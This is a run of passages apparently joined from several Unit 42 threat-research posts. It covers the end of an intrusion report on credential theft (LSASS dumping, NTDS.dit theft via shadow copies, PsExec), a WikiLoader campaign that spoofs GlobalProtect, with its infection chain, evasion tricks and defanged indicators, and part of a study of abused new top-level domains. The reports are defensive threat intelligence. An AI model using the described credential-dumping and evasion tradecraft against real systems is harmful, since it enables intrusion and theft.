  • LaZagne: The threat actor attempted to use the LaZagne tool to access passwords in infected systems. LaZagne is an open-source tool used to recover stored passwords from systems.
  • Lsass-dump-main: To retrieve passwords, the threat actor attempted to use what appeared to be a custom tool to dump the memory of the lsass.exe process to disk. Figure 11 shows the output of this tool.
Terminal screen displaying successful process handling and data dumping notifications, including a reference to a file named '2024.txt', though some of the file name information is redacted.
Figure 11. Output from the Lsass-dump-main tool.
  • Stealing the NTDS.dit File: To steal Active Directory data, the attacker attempted to steal NTDS.dit as shown in Figure 12. NTDS.dit is an Active Directory database that stores information about user objects, groups, group membership and (most importantly) password hashes.
Screenshot of an alert notification from Cortex XDR Analytics BIOC, titled 'Suspicious dump of ntds.dit using Shadow Copy'...so some title information may be missing. It describes a security incident involving the NTDS file executed on a host that has been redacted, referencing the process ntdsutil.exe and a command line action.
Figure 12. Alert for dump of NTDS.dit in Cortex XDR.

To steal the NTDS.dit file, the threat actor used Vssadmin to create a volume shadow copy on the Domain Controller, which allowed the attacker to access the NTDS.dit file. Next, the attacker dumped the SYSTEM hive from the registry, which contains the boot key that is required to decrypt the NTDS.dit file.

  • PSEXESVC.exe: The attacker used the popular PsExec utility for lateral movement across the victim’s environment. PsExec allows the execution of processes on remote systems.
  • Windows Management Instrumentation (WMI): The threat actor used WMI to execute remote processes in the environment. WMI allows the execution of processes on local and remote systems.

Spoofed GlobalProtect Used to Deliver Unique WikiLoader Variant

Executive Summary

The Unit 42 Managed Threat Hunting team (MTH) identified a variant of WikiLoader loader for rent (aka WailingCrab) being delivered via SEO poisoning and spoofing our GlobalProtect VPN software. Analysis conducted by the Advanced WildFire reverse engineering team has uncovered the latest evasion techniques for WikiLoader, providing new insights into its evolution.

We provide multiple XQL queries for Cortex to hunt for this WikiLoader campaign. We also provide hashes that identify samples found in the wild as well as command and control (C2) URLs extracted from the original sample that spoofed GlobalProtect.

Palo Alto Networks customers are better protected from the threats discussed in this article through detection mechanisms available from the following products:

Additionally, Google has confirmed that all sites mentioned in this article are known to Safe Browsing. Any user that visits these sites will receive a warning of potential security risks.

Related Unit 42 Topics Malvertising, DLL Sideloading

Overview of Tradecraft Used by WikiLoader in Campaigns Spoofing GlobalProtect

WikiLoader is a multistage malware loader that adversaries developed with consideration toward evasion. Our industry partners have documented this threat well. As such, we’ll focus on the specific tradecraft we observed related to campaigns spoofing GlobalProtect, anti-analysis techniques employed by the loader and resources for threat hunters.

Proofpoint has reported WikiLoader has been active since at least late 2022. They also noted that phishing was initially the primary means of delivery. Its operators used compromised WordPress sites and public MQ Telemetry Transport (MQTT) brokers for C2.

We have not observed the follow-on payloads from complete WikiLoader infections. However, Proofpoint reported attackers used the threat to deliver banking Trojans such as Danabot and Ursnif/Gozi to organizations based in Italy.

In June 2024, we observed a WikiLoader campaign leveraging GlobalProtect themed SEO poisoning, rather than using previously documented phishing tactics. SEO poisoning is the process of getting an attacker-controlled site on the front page of search engine results for a legitimate product through purchasing advertisements or improving page rank.

Attackers commonly use SEO poisoning as an initial access vector to trick people into visiting a page that spoofs the legitimate search result to deliver malware rather than the searched-for product. This campaign’s delivery infrastructure leveraged cloned websites relabeled as GlobalProtect along with cloud-based Git repositories.

Unit 42 primarily observed WikiLoader affecting the U.S. higher education and transportation sectors. However, the use of SEO poisoning for delivery almost certainly broadens the scope of possible victims as compared to phishing.

WikiLoader is a loader for rent, which is suspected to be leveraged by at least two initial access brokers (IABs). Attribution for this specific campaign requires further research. However, we do make the following observations.

  • Campaigns leveraging WikiLoader and spoofing GlobalProtect have shown reasonable regard for evasion
  • The threat operators show an awareness of simple techniques that, when executed well, make machine and signature-based detection of such threats difficult

Such OPSEC considerations include:

  • Using the MQTT internet of things (IoT) event queue protocol for C2
  • Typosquatting and spoofing download pages modified to deliver WikiLoader throughout the life of a campaign
  • Using legitimate sites running vulnerable, third-party WordPress plugins as C2 infrastructure
  • Using cloud-hosted Git solutions to host malicious content
  • Using legitimate, signed binaries for sideloading WikiLoader
  • Using common file names associated with security tooling, where allowlistings in security products would reduce detection and response efficacy
  • Embedding payloads in seemingly benign file names and types
  • Hiding attributes for all files except the file that receives user interaction
  • Encrypting shellcode that is stored in separate binaries from the WikiLoader executables
  • Decrypting keys for shellcode that operators stored in the C2 servers
  • Performing multiple anti-analysis checks
  • Displaying fake error messages on execution

Figure 1 provides a summary of the infection chain.

Flowchart diagram illustrating a cybersecurity attack involving several steps including fetching protection settings, exploiting software, scheduling tasks, and encrypting data using known entities like GlobalProtect and Windows system directories. The chart details the use of VPN, DLL hijacking, and disk write operations, and includes various file names and application icons related to the attack process.
Figure 1. Attack diagram from the delivery through WikiLoader backdoor Execution. Source: Inspired by attack flow detailed in AhnLab blog, "'Totally Unexpected' Package Malware Using Modified Notepad++ Plug-in (WikiLoader)."

Delivery and Execution

The following section details the execution of WikiLoader as delivered through GlobalProtect-based SEO poisoning.

The advertisements we observed linked to multiple fake sites serving spoofed GlobalProtect installers. Figure 2 shows a malicious advertisement that attackers used to lure victims to a spoofed GlobalProtect download page.

A screenshot of a Google search results page for "global protect download". The page shows links and information related to downloading the GlobalProtect app from Palo Alto Networks on the Google Play Store and instructions for installation on various devices.
Figure 2. Google ad linked to the websites to download spoofed GlobalProtect.

The first site is a clone of a legitimate business that fetches the malicious payload upon download shown in Figure 3. Bitbucket took the site offline when we notified them of it.

Screenshot of the GlobalProtect download page on a website with redacted information, featuring an 'Install on Windows' button.
Figure 3. A cloned website that directs users to download the spoofed GlobalProtect installer hosted on Bitbucket.

The second site shown in Figure 4 is a site that spoofs the GlobalProtect client download page.

 

Screenshot of a computer screen displaying a cloned GlobalProtect Portal by Palo Alto Networks with a notification for downloading the GlobalProtect Agent for Windows 64-bit.
Figure 4. A cloned GlobalProtect page that directs users to download spoofed GlobalProtect installers.

Upon download, Cortex XDR shows the following information associated with Chrome where the sample is enriched with Mark of the Web (MotW) data as shown in Figure 5. MotW is a security feature in Windows that adds metadata to files downloaded from the internet to indicate a potentially unsafe source. Analysts can use this information to assist in understanding the source of a file, and where someone may have been browsing before downloading the file.

A screenshot of the Cortex XDR interface showing details of a file named "GlobalProtect64.zip" including its download path, SHA256 hash, timestamp from July 2024, and file origin URL.
Figure 5. File write and read of the GlobalProtect64.zip file enriched with MotW data streams indicating one of the download URLs in the File Origin text area.

Figure 6 shows how the sample appears to the victim. The sample only shows a single file in the folder.

Screenshot of a computer screen showing the GlobalProtect64.exe selected in a file explorer window on a Windows operating system.
Figure 6. The contents of GlobalProtect64.zip following extraction as viewed by a user.

Figure 7 shows that when viewing all the hidden files and folders, there are more than 400 files.

Screenshot of a computer's file explorer window open with folders and files visible. The window is titled "GlobalProtect64" and displays various files like 'cert', 'install4j' among others. Several file icons such as folders, text files, and application files are shown.
Figure 7. The contents of GlobalProtect64.zip following extraction, showing hidden items.

Figure 8 shows what we see when viewing all files in the archive and checking the signer. GlobalProtect64.exe is a renamed copy of a legitimate share trading application that attackers used to sideload the first WikiLoader component.

A screenshot of the Cortex XDR interface. The layout displays two cable icons, a global network graphic, file paths, user information, signature details, and a section titled Process Information. The background is dark with text and graphics in white and red. Some of the information is redacted.
Figure 8. A screenshot of Cortex XDR showing a copy of the trading platform renamed as GlobalProtect64.exe being abused to sideload the first WikiLoader loader component (i4jinst.dll) upon execution.

Figure 9 shows that upon execution of GlobalProtect64.exe, the threat loads the first WikiLoader component i4jinst.dll, located inside the directory .install4j.

Data table displaying various rows. Some entries are redacted. Two lines are highlighted in a red box.
Figure 9. A screenshot of Cortex XDR events associated with spoofed GlobalProtect64.exe.

The i4jinst.dll Load Image event causes the malicious module to be loaded into the binary spoofing GlobalProtect64.exe. Once loaded, i4jinst.dll reads the first stage encrypted shellcode from certificate.pem. It then decrypts the shellcode and injects it into explorer.exe.

This includes the following discrete actions:

  1. The decrypted certificate.pem contains the first stage shellcode that is executed
  2. The shellcode loads C:\Windows\System32\BingMaps.dll
  3. The function GetBingMapsFactory is then overwritten with another shellcode decrypted from certificate.pem
  4. The overwritten shellcode then carries out thread injection into the explorer.exe process

At this point in the infection chain, Cortex’s shellcode prevention raised alerts as shown in Figure 10.

Cortex XDR network security diagram featuring two nodes connected by a line that includes an alert icon indicating a blocked high severity malware try. Additional details include timestamps, source information, category as malware, and action taken as prevented (blocked).
Figure 10. Cortex shellcode protection prevents the injection from the malicious process into explorer.exe.

If unprevented, the injected code in explorer.exe will contact a compromised site running WordPress CMS as a C2 server for the WikiLoader backdoor. It will then establish persistence and communicate with MQTT brokers for tasking.

The injected code will load license_us_EN.html. In the GlobalProtect spoofing campaign, license_us_EN.html is a renamed copy of the AdInsight.exe Microsoft Sysinternals binary. License_us_EN.html will side load the WikiLoader backdoor downloaded from the C2 server.

Upon establishing persistence, AdInsight.exe (renamed to license_us_EN.html) will be renamed again to a random filename. This file will be written into a randomly named folder in ProgramData along with a randomly named file with the extension .pem and the WikiLoader backdoor as a .dll. This process is shown in Figure 11.

Screenshot of a file explorer window on a computer showing the contents of the "RamDQ" folder inside the "ProgramData" directory on drive C. The folder contains three files with details such as file type, date modified, and size displayed.
Figure 11. Files contained in a randomly named directory when WikiLoader writes persistence components to disk.

In testing environments where shellcode protection was disabled, Cortex XDR still generated an analytic behavioral indicator of compromise (BIOC) detection for the unusual creation of a scheduled task created by explorer.exe following the shellcode injection.

In summary, the infection chain is as follows:

  1. Malicious behaviors begin when the victim launches GlobalProtect64.exe and this file then loads i4jinst.dll (located inside .install4j)
  2. Once loaded, i4jinst.dll will read and decrypt the contents of the file certificate.pem
  3. The decrypted certificate.pem contains the first stage shellcode that the threat executes
  4. The shellcode loads C:\Windows\System32\BingMaps.dll
  5. The function GetBingMapsFactory is then overwritten with another shellcode decrypted from certificate.pem
  6. The overwritten shellcode then carries out thread injection into the explorer.exe process
  7. The injected code in the explorer.exe process will contact the C2 server for the WikiLoader backdoor
  8. If persisting, the threat will write license_us_EN.html and another file with extension .pem to a randomly named folder in ProgramData along with the WikiLoader backdoor as a .dll
  9. The threat will establish persistence via a scheduled task to execute the renamed license_us_EN.html
  10. The injected code will read and execute a hidden PE file from license_us_EN.html
  11. License_us_EN.html will side load the WikiLoader backdoor downloaded from the C2 server
  12. The backdoor will decrypt the shellcode encrypted in the randomly named file with extension .pem. The decryption key is the name of the folder where the backdoor is located.

We have added additional protections to Cortex, and we share a collection of hunting rules written in XQL at the end of this post.

Highlighting WikiLoader Anti-Analysis and Defense Evasion

The following are some unique tricks that this sample of WikiLoader used.

Fake Error Message

As the spoofed GlobalProtect installer is not an actual installer, the authors of WikiLoader needed another trick to fool victims. The threat shows a fake error message when it completes infection of the victim machine. This prevents the victim from wondering why GlobalProtect is not installed.

Figure 12 shows the fake error message generated by the sample.

Error message on a computer screen indicating that the program can't start because "msvcr140.dll" is missing and suggests installing runtime libraries to fix the problem. There is an "OK" button available to close the message.
Figure 12. Fake error message displayed when the sample completes infection

Renamed Legitimate Software Used for Side-Loading Backdoor

Attackers renamed the Microsoft Sysinternals tool ADInsight.exe to license_us_EN.html, and hid it inside the spoofed GlobalProtect installer. ADInsight.exe is used to side load the WikiLoader backdoor. Figure 13 shows the contents of license_us_EN.html.

Screenshot of a computer screen displaying a hexadecimal view of files. The selected file is Selected is license_us_EN.html. Also in view is "GlobalProtect64.exe" and "launcher.jar", with decoded text showing HTML and programming code elements.
Figure 13. Hex dump of license_us_EN.html showing it is a PE file.

Checks for Analysis Environments

The sample checks the running processes in the victim machine against a list of hashes of software commonly used by malware analysts. As most malware analysts would be using a virtualized environment to analyze malware samples, the WikiLoader sample will terminate if it finds processes related to virtual machine software.

To hide the list of processes that WikiLoader is looking for, the malware uses a 32-bit hashing routine similar to those used by Emotet back in 2021. Figure 14 shows the hashing routine used by this WikiLoader sample.

A screenshot of a computer screen displaying assembly language code in an IDE environment. The code includes various operations such as MOV, XOR, and JMP among others, with hexadecimal values and register names.
Figure 14. Hashing routine used to obfuscate the analysis processes from above.

Folder Name as Decryption Key for the Backdoor

The backdoor is encrypted using the CryptUnprotectData API. This sample of WikiLoader used the folder name (RamDQ) as the decryption key for its backdoor.

Figure 15 shows the folder named RamDQ, which contained the encrypted backdoor 1FoWZv.pem and the executables (s2VT3.exe and version.dll) required to decrypt and execute the backdoor.

Screenshot of a computer interface with several open windows, including a code editor with Python script, command prompt, and file explorer showing files related to JavaScript. Some of the information is redacted.
Figure 15. Screenshot showing CryptUnprotectData being passed the folder name, ultimately to be used to decrypt the shellcode in 1FoWZv.pem.

Conclusion

Financially motivated threat actors will continue to use WikiLoader as a loader for rent in a variety of campaigns where they require a robust, stealthy Windows loader that pays reasonable attention to OPSEC.

What remains to be seen is why threat actors have shifted from phishing to SEO poisoning to deliver WikiLoader. One hypothesis is that another initial access broker (IAB) has begun to work with WikiLoader to operationalize its delivery through SEO poisoning in recent months. Alternatively, groups that are publicly tracked using WikiLoader could have shifted to SEO poisoning from phishing after an improvement in endpoint security controls or industry reporting disrupted their operations.

While SEO poisoning is not a new technique, it continues to be an effective way to deliver a loader to an endpoint. Spoofing trusted security software is likely to assist in bypassing endpoint controls at organizations that rely on filename based allow listing.

The combination of spoofed, compromised and legitimate infrastructure leveraged by WikiLoader campaigns reinforces the malware authors attention to building an operationally secure and robust loader, with multiple C2 configurations. The authors suspect that we will likely see continued WikiLoader use throughout 2024 and beyond.

Regardless of the anti-analysis and EDR evasion techniques employed by WikiLoader, the procedures employed can be identified using many common endpoint threat hunting methods. We share a selection of four queries in our appendix that organizations can use to hunt for WikiLoader with high fidelity in endpoint data. The queries can be expanded in scope with minimal changes from XQL users to cast a wider net, or narrow in on threats that may be more applicable to an organization’s environment.

Google has confirmed that all sites mentioned in this article are known to Safe Browsing. Any user that visits these sites will receive a warning of potential security risks.

Palo Alto Networks Protection and Mitigation

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America Toll-Free: 866.486.4842 (866.4.UNIT42)
  • EMEA: +31.20.299.3130
  • APAC: +65.6983.8730
  • Japan: +81.50.1790.0200

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

XQL Hunting Queries

Explorer.exe communicating with MQTT brokers

Common DLL sideload targets (step 8 in infection chain)

Processes executing as GlobalProtect without a parsed Palo Alto Networks certificate.

Review ZIP files with GlobalProtect naming that have Mark of the Web applied for suspicious download sources

Indicators of Compromise

These indicators were active throughout June 2024.

Delivery URLs

  • URL: hxxps://globalprotect[.]securedownload[.]today/GlobalProtect64.zip

Description: URL serving archive impersonating GlobalProtect.

  • URL: hxxps://globalprojectvpn[.]com

Description: Fake GlobalProtect site that delivers fake GlobalProtect64.zip

  • URL: hxxps://globalprojectvpn[.]com

Description: Fake GlobalProtect site that pulled from a Bitbucket project to deliver fake GlobalProtect64.zip

  • URL: hxxps://bitbucket[.]org/bitprotect/globalproject/src/main/

Description: Bitbucket project that hosted fake GlobalProtect64.zip

WikiLoader C2 URLs

  • hxxps://carniceriamartinezadria.com/wp-content/themes/twentytwentyfour/rleoec.php?id=1
  • hxxps://jlholgado.com/wp-content/themes/twentytwentyfour/zca2ck.php?id=1
  • hxxps://elpgtextil.com/wp-content/themes/twentytwentyfour/44snwx.php?id=1
  • hxxps://arbeitsschutz-mmk.de/plugins/search/contacts/chrndi.php?id=1
  • hxxps://www.estudioemm.com/wp-content/themes/twentytwelve/d4kih3.php?id=1

Description: C2 providing the decryption key to the payload of the WikiLoader sample

SHA-256 hashes for WikiLoader shellcode loader DLLs

  • d4eb9a4ee389f03c402e553724015af8d5b85835828bd66b1b45131b6837802f
  • 534c989d110ece8c429d2ded913933b961710726d8655b858474bc31dfed25c3
  • a001642046a6e99ab2b412d96020a243a221e3819eaac94ab3251fad7d20614b
  • c6c250e1cd6d5477b46871ffe17deac248d723ad45687fc54ae4fc5e3f45d91c
  • f1a49cea454bac3e78ac765b247b65d00c896d84de2028892b00d4310453c665
  • 2ab449666cf006125075e3ded8053cdfd318e4772d4145f0fa861f1d42cb2b08
  • 1d6f76acecff63fb373b5774a3cb34b87266a4a4bbb8e3a0757d107187d280ee
  • b412b2c190b8406392406d9a8e3abce91c9014950bcf835eb7d9b50d0f128cb0
  • 66735d0178badf035be0e142f4fb8e23d860bfc9bbdc3e12ad1f2764de91ee9b
  • edec55f87e535f869119db44e4e7302081f53dbf33a27aaf905430cedc5a78b9
  • 148b29123bb0c28614858460d7a10707469fecebd6a9ff1da98a0c76a89a9819
  • 0de42118dd0cd861bea13de097457ccb407aae901b14e0bec59b0abe660cdf1f
  • 5576ab87eb11ca4d2944bc1c2c6a8c349e18c7ded583c1ba9bd99eff9d8ac4d7
  • 551da6814a01a280afe90aa6bb238f499d98ad496c0d8472a1705540a6f422da
  • 4f573ab13882efa234a79483d305b3001cb09c0a166ff94c925844b860162415
  • 4f2079cd2e228a2777df45ae00714c8679531fd8ad82a66b5c1b10e800771f18
  • 2add886330db1480da7314ee38428ca79af04f8c461c3bbbd68e202bb5f4c415
  • 76d1a876c90ec16f44685f795e64ab84bd2d3f5a91db659c9879b3461ee104f9
  • 6aa4a830aa8d89b629fe87d3d3e986042215b5bcd670417933fca854b6dd58d9
  • 1c1d739f0282bfd9367e29ca81c61ed4a731e5150a836d0371e5e9d0121c9dfd
  • 69a94bbed366bfd917dfd8fb6e5fd7ba52e2dbf338edd0c259654981060943c8
  • 9a48f32e00877a4335206c7da45a94ca8bd46648d3a0bc88e0789dabf8139024
  • c3280452e7c96253b215342f2fac14634591adf68f88bcf7dc920d5f28022cd6
  • 0c44a46f1c8e46fe6b6f83ec249c95301aca1bc4765cee7bdadd021bbfd2ff66
  • 2b8b3f5b692f716116a1468b8d7b273baf7a6cef0726e831cd307d2f2c7452ec
  • e07787caf52dd3e7dd0da600dbd1d909f3799dcebcdc60d101baf3ea17ef1e32
  • 50810e4696dd075ca23349e3e1c3a87fc7b46ab89f4b1eb093a5cfb74f84cc51
  • 912cc2a3592b3b7835205d275cbf92bb66effc99cbd5cc338a223888de1b0d35
  • f04715827e5453b33ba6fae8475b8c45150b27cc1361441648c46d13025283d2
  • e693652763141522621f9fcd80efb30cefa363f8bd9bdc65e5ffbf9fb8d76d3b
  • 8d5e185d53e81e90646d684dff7cb399973e3cde6d833e6f7431074f4362139a
  • ec59616b1c80951d6597d4f25a9c031be0391151dc1073a5bece466473f0bdfe
  • e7e674218a7d93595e33a092f4f519a65499651a398ca350f5a50e135e64fa41
  • 78f6f94aaa72e41d64e4dc309a3553399db2b4cd0edae5653ca4b6e7839e1215
  • abce298ebb4ac7bc1a5167179875afc88e7e99475bf681953e8b964237b7d7ed
  • 82ec4e1a6ddf6eeb4030d6dd698f4576d0445d4d5722d5c60b0cc74ac501bb85
  • 0d495a94e29faa4dfded29253322be1b2c534a56c078bea1ad8f1dc1fd23b742

SHA-256 hashes for WikiLoader backdoor

  • 4044a0d7a0ed7f66efc2bd13616ec63a5722fc7a73a28fe3bda513f60ef24dd9
  • c9eaaa6aee55704ce651c8b4cde7949cfa9711e05a136fa15f234d1bb2ea994c


Additional Resources

Updated Sept. 4, 2024, at 1:20 p.m. PT to include clarifying language from Google.

TLD Tracker: Exploring Newly Released Top-Level Domains

Executive Summary

We investigated 19 new top-level domains (TLDs) released in the past year, which revealed large-scale phishing campaigns, distribution of potentially unwanted programs, torrenting websites, and even pranking and meme campaigns.

We saw correlation between the new TLDs' general availability dates and their popularity, showing that different groups follow the launch of new TLDs and their lifecycle. They do so to initiate domain registration and usage, including for abuse.

There are currently over 1,000 generic top-level domains (TLDs) according to the Internet Assigned Numbers Authority (IANA) root database, and more new TLDs are being added every year. As new TLDs emerge, the potential for malicious activity such as domain squatting and phishing increases tremendously. This is especially problematic when these TLDs resemble the extensions of popular file extensions such as .zip, and distinctive service identifiers such as .bot.

Palo Alto Networks customers are better protected from the threats discussed in this article through our Network Security solutions, such as Advanced DNS Security and Advanced URL Filtering subscription services.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Malicious Domains, Newly Registered Domain

New TLDs

The IANA root database currently lists over 1,000 generic top-level domains (TLDs), with new additions continually being made each year. New TLDs under the Generic TLD (gTLD) category are added for myriad reasons including promoting new markets, allowing brands to diversify their web presence, and increasing consumer and business choices.

In the past year and a half, 19 new TLDs have been announced. As more new TLDs are released, companies and other entities may have a hard time keeping up and defensively registering their names on all of them. This presents a possibility for attackers to exploit these TLDs, especially those that resemble file extensions, repurposing them for malicious activities.

TLD Rollout Phases

To understand the potential negative effects of these new TLDs and domain registrations, we first need to understand how new TLDs are rolled out.

All domains under a TLD are tracked in an authoritative database called a registry. A registry operator is the organization that maintains this authoritative database of all domain names for a particular TLD.

After new TLDs are delegated and approved for future release, the registry operator associated with the new TLD takes responsibility for the different launch and registration phases. A typical set of launch phases will include the following:

Note that while these phases are typically associated with generic TLDs, only the sunrise period and general availability are mandatory.

Sunrise Period

This is a mandatory phase for all registries. In this phase, registrations are open only to holders of a validated trademark record in the Trademark Clearinghouse (TMCH). This is an effort to help entities secure domain names under new TLDs that fall under their trademark to protect them from cybersquatting and domain squatting attacks according to ICANN Wiki. If more than one entity proves claims to a certain domain, an auction is conducted.

There are two types of sunrise periods:

  • End date sunrise (minimum 60-day length)
  • The less common Start date sunrise (30-day notice before the start of sunrise period and 30-day minimum length)

Landrush

The landrush phase allows registry operators to make registrations open to the public for specific, premium domain names at a higher cost than their price during general availability. Multiple parties applying for the same domain may lead to an auction.

Early Access Period/Program

Certain TLDs also have an early access period that lasts about a week. Some registry operators may not differentiate between the landrush and early access periods (EAP), and others may offer EAP-like pricing during the first week of general availability.

During the EAP, registrants have the opportunity to register a domain name at a premium price before the TLD's official launch during the general availability period on a first-come, first-served basis. The registry operator may set a premium price that is determined based on the number of days starting from the beginning of this period. The first day of early access has the highest registration price and the last day has the lowest, but both are still higher than the general availability period price.

General Availability

Finally, the TLD is officially launched and moves to a general availability phase where domains under this TLD are available to the public for registration. As mentioned before, some registry operators may offer EAP-like pricing during the first weeks of general availability where domains can be registered for a premium price that slowly drops throughout this period. Typically, a trademark claims phase is in effect in the first 90 days of the general availability period where trademark holders could be alerted when someone registers a domain name matching their trademark.

Data Sources

We track the release of new TLDs through the official ICANN website, which reports the sunrise dates for all generic TLDs.

In particular, we are focusing on 19 TLDs that have been released or are in the process of reaching general availability:

  • .bot
  • .box
  • .case
  • .channel
  • .dad
  • .esq
  • .foo
  • .ing
  • .lifestyle
  • .living
  • .meme
  • .mov
  • .music
  • .nexus
  • .phd
  • .prof
  • .vana
  • .watches
  • .zip

In April 2024, we gathered data about domains under these TLDs from a variety of sources: passive DNS, zone file data published by registry operators, historical newly registered domains (NRDs) and historical domain squatting detections in these TLDs. Finally, we augment this list by taking the top 1 million most popular domains on the internet using the Tranco list—a research-oriented top site ranking. We replace their TLD with each of the 19 new TLDs in an effort to cover all potential cases of abuse of the most popular domain names.

Traffic Toward Domains in These New TLDs

From our customer data logs, Table 1 shows the most-popular new TLDs with the number of unique registered (root) domains.

 

TLD Number of Registered Domains
.zip 5,470
.ing 5,071
.bot 4,179
.mov 1,279
.meme 1,175

Table 1. Most popular TLDs from our customer data logs.

We sampled our traffic logs two times a month and added some important dates from the TLD launch schedule as displayed below in Figure 1. This data indicates that the rise in popularity of the top 10 TLDs correlates with the date that a TLD enters the general availability phase.

The .zip TLD entered general availability on May 10, 2023. From the data on May 16, 2023, we see the first spike in the popularity of the .zip domains.

The .ing TLD entered general availability on Dec. 5, 2023. On that same day we saw a large spike in traffic toward .ing domains that has continued since then.

Similarly, Amazon initially allowed registration of .bot domains to customers exclusively for bot-related services. After the .bot TLD entered general availability on Oct. 30, 2023, our data reveals notable increases in .bot domain registrations starting on Nov. 1.

A line graph displaying the growth of internet top-level domains (TLDs) over time, including .bot, .box, .dad, .foo, .mov, .nexus, .zip, .esq, .meme, .img. The graph uses different colors to represent each domain, showing a trend of increasing numbers from left to right along a timeline from May 1, 2023 to April 1, 2024.
Figure 1. Popularity of the top 10 new TLDs at different points over the past year from our logs.

The evident correlation between these new TLDs' availability and the number of domain registrations indicates that various groups or individuals closely follow the launch of new TLDs to register new domains. These groups could include adversaries that plan to abuse domains belonging to these newly available TLDs. Therefore, tracking and conducting security checks for domains under emerging TLDs is crucial.

Introducing Our Graph-Based Detection System

Our graph-based detection system is enabled by a powerful internal graph database that ingests comprehensive cybersecurity data from various data sources including the following:

  • Passive DNS data
  • WHOIS
  • Third-party threat intelligence sources
  • Static and dynamic analysis of malware samples
  • Active web crawl data

Leveraging these data sources, we developed a graph-based automated detection system depicted in Figure 2. Starting with a seed list of domains, the system extracts all related data, including associated URLs, IPs and malware samples.

The system generates an independent graph visualization for each seed domain that depicts the relevant relationships with these other associated entities. In this case, the seed list was a list of all domains under these 19 TLDs that we obtained by analyzing information from our previously mentioned data sources.

Flowchart depicting the process of threat intelligence using a graph database. Starts with 'List of Domains' connecting to 'All associated data', which feeds into a graph database represented by clusters of connected nodes. This leads to 'Potential Attack Campaigns' after 'Multi-stage Pruning and Clustering'. Key symbols include a globe icon for the internet, a cloud for data storage, and various connected nodes representing independent graphs and data interactions.
Figure 2. Graph-based detection system design.

After constructing the graph relations, we conduct a multi-stage pruning and graph clustering process. In this process, our system’s pruning algorithm significantly reduces noise and redundancies, only retaining the salient graph paths.

For instance, if a domain uses a globally popular nameserver, then hundreds or thousands of other domains will also use the same nameserver. This results in extra noise added to the graph due to that nameserver node. To address this problem, we prune all paths that are connected to a list of known, benign and popular nodes.

Next, we put these pruned graphs through a clustering process that hunts for commonalities. Our system can cluster domain graphs together based on specific features such as the following:

  • Related IP addresses
  • Authoritative name servers
  • Their WHOIS information
  • Domain name lexical patterns
  • Traffic and redirection patterns
  • TLS certificate information
  • Shared or common web infrastructure and content

This process helps us correlate campaigns that share the following traits:

  • The same infrastructure
  • The same traffic distribution systems
  • Downloading and disseminating the same malware samples
  • Abusing a common set of intermediary services to broaden their attacks

Results: Case Studies

In this section, we present select network abuse campaigns captured by our graph-based detection system. The results include the following:

  • Large-scale phishing attacks
  • Distribution of potentially unwanted programs
  • Torrenting websites
  • Pranking or meme campaigns

Redirection Campaign

Bad actors can leverage trending TLDs and domain names to propagate phishing and redirection attacks. In one such case study, we found that 112 domains belonging to these new TLDs form a tightly related cluster that can be associated with a phishing campaign.

Below, Figure 3 shows the clustered graph for this campaign. The nodes near the middle highlighted in yellow are domains under the newly released TLDs. The red nodes are known malicious indicators that our detectors have already blocked for other suspicious activity or content.

Each blue node represents a relationship between two entities, such as URLs, hostnames, IP addresses and files. Figure 3 reflects four distinct types of relationships in the graph:

  • NS records for the domain
  • A records for the domain
  • Redirect to a URL
  • URLs sharing a “path of” relationship with their root domain

At the time of our data collection, all 112 domains redirected to different URL paths under the choto[.]xyz domain.

Network diagram featuring three clusters of nodes connected with lines, indicating relationships among various internet entities including URLs, file samples, hostnames, and IP addresses. The left cluster is colored red, signifying malicious entities, the central cluster is orange, and the right cluster is blue, with each cluster labeled accordingly. A legend explains the color coding and symbols representing different data types and relationships.
Figure 3. Redirection campaign with 112 domains from 11 different newly released TLDs.

Although active as recently as April 2024, by May 2024, this traffic coordination domain choto[.]xyz was inactive and returned an NXDOMAIN DNS error. Checking our archived scans and web archive data, we find that these paths had redirected users to a gambling website.

We found these 112 domains subsequently redirected to URL paths under choto[.]click/vx/<string> that redirected to gambling websites. Figure 4 shows an example of one of the gambling pages.

Screenshot of JoyCasino website homepage featuring a registration form to the left and promotional offers including "WELCOME BONUS UP TO 900%" and "50 FREE SPINS UPON REGISTRATION" displayed on the right side. The background is predominantly purple with decorative golden elements and a spinning roulette wheel image.
Figure 4. Example of a gambling page from this campaign.

All 112 domains share the same four nameservers that are denoted by the nodes on the far right in Figure 3. These nameservers are hosted on the same set of IP addresses, indicating a shared infrastructure.

All 112 domains were also registered with the same registrar, with most registered from June-November 2023. We are the first to detect and block over 78% of these 112 domains according to data from open threat intelligence platforms.

Data from this campaign indicates the group behind it has expanded beyond leveraging newly released TLDs. Our analysis also reveals targeted keywords surrounding recent events. For example, we found at least four new domains relating to the 2024 Summer Olympics are connected to this same campaign.

Chat Bot Service Campaign

Another cluster involved luring victims into scanning a QR code that redirects them to begin texting over SMS. The SMS session can potentially expose the victim to scams, spam, data harvesting campaigns and exposure of personal information.

Shown in Figure 5, this campaign contains 92 different domains belonging to the .bot TLD. The domains in this cluster have distinct naming patterns. They are either:

  • A person’s first name (such as Akira, Emilia, Mei, Percy or Valentina)
  • The name of a city (such as Amsterdam, Leipzig or Toronto)
  • Random German words (such as Fluege, Kleinanzeigen, Termin or Welt)
  • Random English words (such as Broadband, Chicken or LastMinute)
Illustration showing a network of connections between different cybersecurity elements such as URLs, file samples, hostnames, IP addresses, and domain names with a seed list. Red connections indicate malicious entities. A flowchart explains how these elements are related, such as redirecting, subdomain creation, and IP resolution.
Figure 5. Homogeneous .bot cluster relating to a chat service campaign with 92 domains.

All of these .bot domains redirected victims to a URL under a different domain ending with the same root name string suffixed by .php.

For example, the domain harriet[.]bot redirected to the URL at phpstack-1171166-4096956.cloudwaysapps[.]com/harriet.php

Figure 6 illustrates how the picture/avatar displayed and the QR code changes in relation to the domain name queried.

Two promotional digital artworks displayed on computer screens. On the left, an illustration of a character named Harriet Bot, depicted with flowing hair and wearing a dark pullover, a tie and glasses. On the right, an image of a character named Chicken Bot, styled as a rooster and set against a rural backdrop. Some information is redacted.
Figure 6. Two different landing pages under the same domain for URLs ending in harriet[.]php and chicken[.]php.
